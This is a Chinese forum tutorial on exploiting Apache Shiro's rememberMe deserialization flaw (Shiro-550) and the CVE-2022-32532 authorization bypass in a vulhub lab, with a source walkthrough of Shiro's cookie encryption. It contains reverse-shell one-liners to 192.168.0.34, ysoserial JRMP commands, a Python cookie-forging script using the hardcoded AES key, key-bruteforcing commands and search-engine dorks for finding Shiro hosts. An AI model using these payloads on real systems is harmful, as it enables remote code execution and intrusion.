首页
社区
课程
招聘
shiro反序列化
2024-3-20 10:40 1482

shiro反序列化

2024-3-20 10:40
1482

前言

shiro反序列化漏洞这个从 shiro 550 开始,在2016年就爆出来, 但是到现在 在各种攻防演练和面试中也起到了显著作用

这个漏洞一直都很好用,特别是一些红蓝对抗HW的下边界突破很好用

Shiro简介

Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能


影响版本

Apache Shiro < 1.2.4

漏洞概叙

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。

shiro默认使用了CookieRememberMeManagershiro处理cookie流程是:

得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化

payload构造顺序则是反正来的

恶意命令-->序列化-->AES加密-->base64编码-->发送cookie

漏洞简单介绍利用

通过在cookie的rememberMe字段中插入恶意payload,

触发shiro框架的rememberMe的反序列化功能,导致任意代码执行。

shiro 1.2.24中,提供了硬编码的AES密钥:kPH+bIxk5D2deZiIxcaaaA==

由于开发人员未修改AES密钥而直接使用Shiro框架,导致了该问题


流量层面分析shiro反序列化漏洞是否攻击成功?

攻击失败

在HTTP请求头Cookie里出现rememberMe字段,响应体会有deleteMe。状态码405


攻击成功

在HTTP请求头Cookie里rememberMe字段,响应体不存在deleteMe。会存在一段base64加密的字段,解码后就是攻击者的回显内容。状态码为200

base解码内容


shiro550-shiro721区别

这俩个洞主要区别在于shiro550使用已知密钥碰撞,只要足够的密钥库,不需要Remember Cookie

shiro721的加密key基本猜不到,系统随机生成,可以使用登陆后的rememberMe去爆破正确的key值,即利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击


接下来开始实操重点讲一下shiro550的利用

环境搭建

kali换源

进入这个配置文件下,添加阿里源vim /etc/apt/sources.list

为什么要换源?换源是因为kali官方源都是国外的速度慢,而且失败概率高,更新速度就十几k 容易脑溢血。使用阿里、网易、科大的源下载速度飞快


换源后依次执行以下命令

apt-get update 更新索引

apt-get upgrade 更新软件

apt-get dist-upgrade 升级

apt-get clean 删除缓存包

apt-get autoclean 删除未安装的deb包    


安装docker

apt-get install docker.io  


安装docker-compose  

apt-get install docker-compose


安装vulhub镜像

git clone https://github.com/vulhub/vulhub.gi


启动环境

cd /opt/vulhub-master/shiro/CVE-2016-4437

docker-compose up 即可启动  

Shiro-550反序列漏洞

shiro漏洞探测

使用shiro漏洞利用工具,爆破密钥--爆破利用链

成功之后命令执行


手工测试

GitHub下载ysoserial利用工具,下载完进行解压缩进入进入到这个目录下(下载jar包,不需要编译可以直接使用,节省很多时间)

cmd打开这个jar包

java -jar ysoserial.jar 使用成功证明可以正常使用


构造反弹shell

反弹shell命令并进行加密,网站:https://r0yanx.com/tools/java_exec_encode/

bash -i >& /dev/tcp/192.168.0.34/8888 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMzQvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}

将反弹shell替换成以下方法中


ysoserial工具使用

利用ysoserial中的JRMP监听模块,监听9999端口并且执行反弹shell命令

9999为监听JRMP模块(ysoserial内置模块)

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMzQvODg4OCAwPiYx}|{base64,-d}|{bash,-i}"


构造cookie内容生成payload

python shiro.py 192.168.0.34:9999 端口号为JRMP

shiro.py脚本内容如下 python文件得和JRMP在同一个文件下 第8行代码中必须找的到对应文件名

java', '-jar', 'ysoserial.jar', 'JRMPClient', command

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
    print ("rememberMe={0}".format(payload.decode()))

报错解决

pip uninstall crypto pycryptodome  (删除已有的pycryptodome)

pip install pycryptodome -i https://pypi.douban.com/simple  (添加豆瓣源加速)



反弹shell

监听nc

nc- lvvp8888

登录抓取流量包,点勾选Remember me

不知道为什么nc没有反弹成功,但JRMP是有回显 成功利用


漏洞分析

我们在拿到这一 Cookie 的时候,很明显能够看到这是经过某种加密的。因为我们平常的 Cookie 都是比较短的,而 shiro RememberMe 字段的 Cookie 太长了

我们跟进去相关位置去看看Cookie的加密过程
在IDEA里 全局搜索 Cookie

shiro加密过程分析

shiro加密流程图

shiro解密流程图

入口是在 AbstractRememberMeManager.onSuccessfulLogin 方法

这里我们正向分析一下,debug打个断点,然后web登录页面输入root/secret 口令进行提交,再回到IDEA中查看

这里会经一个 isRememberMe(token) 的判断 即判断cookie里是否存在rememberMe字段,True的话 调用rememberIdentity()方法

F7 步入 rememberIdentity() 方法,这里继续调用getIdentityToRemember(),作用就是获取用户名赋值给 principals

再回到 rememberIdentity() 方法,继续跟进this.rememberIdentity(subject, principals)


进入 convertPrincipalsToBytes() 方法,我们来看一下这个方法


它先对用户名进行序列化处理,然后调用this.getCipherService()方法是否有返回值,存在的话,就调用 encrypt() 方法进行加密

跟进 看一下序列化的代码:


再跟进看一下 encrypt() 方法


调用了 this.getCipherService()方法 返回了一种 AES 的加密方式CBC


所以encrypt应该用的是AES加密算法 AES 是一种对称加密算法,有密钥

再次跟进 getEncryptionCipherKey() 看一下AES加密的密钥是怎么生成的

一步步往上找


再找一下哪里定义的 encryptionCipherKey


再往上找哪里调用了 setEncryptionCipherKey()方法,找到了setCipherkey()方法


AES加解密用的密钥是一样的 最终从构造函数这里找到了设置密钥的地方


这里传入的静态变量DEFAULT_CIPHER_KEY_BYTES 是在类定义里面写好的常量


base64解密即可得到密钥

后续加密,会对序列化字节流和密钥常量传入 cipherService.encrypt 进行AES加密


返回加密的序列化字节流 到rememberIdentity()方法
下一步调用rememberSerializedIdentity()方法:

进行base64加密之后,存储到Cookie里 就得到了我们的rememberMe字段

这就是我们前面勾选rememberme的话,rememberMe字段的由来

shiro解密过程

由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候,调用了AbstractRememberMeManager.encrypt()进行加密,该类中也有对应的decrypt。那么在这里就可以用来查看该方法具体会在哪里被调用到,就可以追溯到上层去,然后进行下断点


追溯到 AbstractRememberMeManager.convertBytesToPrincipals()


再追溯一下哪里调用了 convertBytesToPrincipals()方法 追溯到了 AbstractRememberMeManager.getRememberedPrincipals

DefaultSecurityManager.getRememberedIdentity()开始分析


跟进 getRememberedPrincipals()方法


调用了 getRememberedSerializedIdentity() 方法

跟进重点看此方法


主要功能为:获取cookie中的rememberMe字段,判断值是否和DELETED_COOKIE_VALUE一致 即 deleteme不一致的话,则会再次判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回赋值给bytes


然后回到getRememberedPrincipals()方法,bytes不为null,因此调用 convertBytesToPrincipals()方法


调用decrypt进行解密,然后返回 deserialize(bytes); decrypt函数即为之前AES加密逆过程、AES解密函数 不再继续详细跟进查看


跟进 deserialize()方法 这里会调用 getSerializer().deserialize() 对我们 base64解密-AES解密后的rememberMe的值进行反序列化


跟进此函数,看一下deserialize()函数的实现,调用的是DefaultSerializer.deserialize()

调用了readObject()函数,并且前面我们得知 加解密密钥一样,所以如果我们知道加密密钥,就可以找链子、构造rememberMe为恶意序列化对象,在此处进行反序列化利用

Apache Shiro 授权绕过漏洞(CVE-2022-32532)

Apache官方披露Apache Shiro权限绕过漏洞(CVE-2022-32532),当Apache Shiro中使用RegexRequestMatcher进行权限配置,且正则表达式中携带"."时,未经授权的远程攻击者可通过构造恶意数据包绕过身份认证,导致配置的权限验证失效。


影响版本

Apache Shiro < 1.9.1

漏洞原理

根据java正则表达式的特点,在正则表达式中元字符.是匹配除换行符之外的任何单个字符。

新增Pattern.DOTALL模式后,正则表达式.就可以匹配任何字符包括换行符。

在shiro-core-1.9.0.jar中存在一个RegExPatternMatcher类,提供请求路径匹配功能及拦截器参数解析的功能。这个类的Pattern存在带.的正则表达式匹配,如果存在/n或/r字符时,就会判断错误。

环境搭建

直接使用vulfocus


输入靶机地址访问

漏洞复现


使用%0进行权限绕过


添加token也可以绕过


最后推荐几个非常好用的工具

shiro综合利用工具

这个是图形化界面,对于新手很方便



scanshiro

可以用于批量扫码,爆破

暴力破解key
java -jar ScanShiro.jar -u http://0.0.0.0 -k key.txt
        
批量暴力破解key
java -jar ScanShiro.jar -f url.txt -k key.txt
        
根据正确的key生成payload 适合在有key无gadgets的情况下
java -jar ScanShiro.jar -p payload.ser -c kPH+bIxk5D2deZiIxcaaaA==

-n 参数是值修改shiro中cookie的名字少部分环境存在,默认是rememberMe
        
-proxy 参数是代理 目前只支持socks5代理并且没有用户名密码

支持 -bypass 1 
发送数据的请求方法


burp插件工具



shiro空间测绘特征

fofa:header="deleteMe"

钟馗之眼:header="deleteMe"

鹰图:header="deleteMe"




[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (2)
雪    币: 0
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_xrpcrour 2024-3-20 15:29
2
0
为什么图片加载不出来
雪    币: 1812
活跃值: (4070)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Grav1ty 2024-3-20 19:32
3
0
图片挂了
游客
登录 | 注册 方可回帖
返回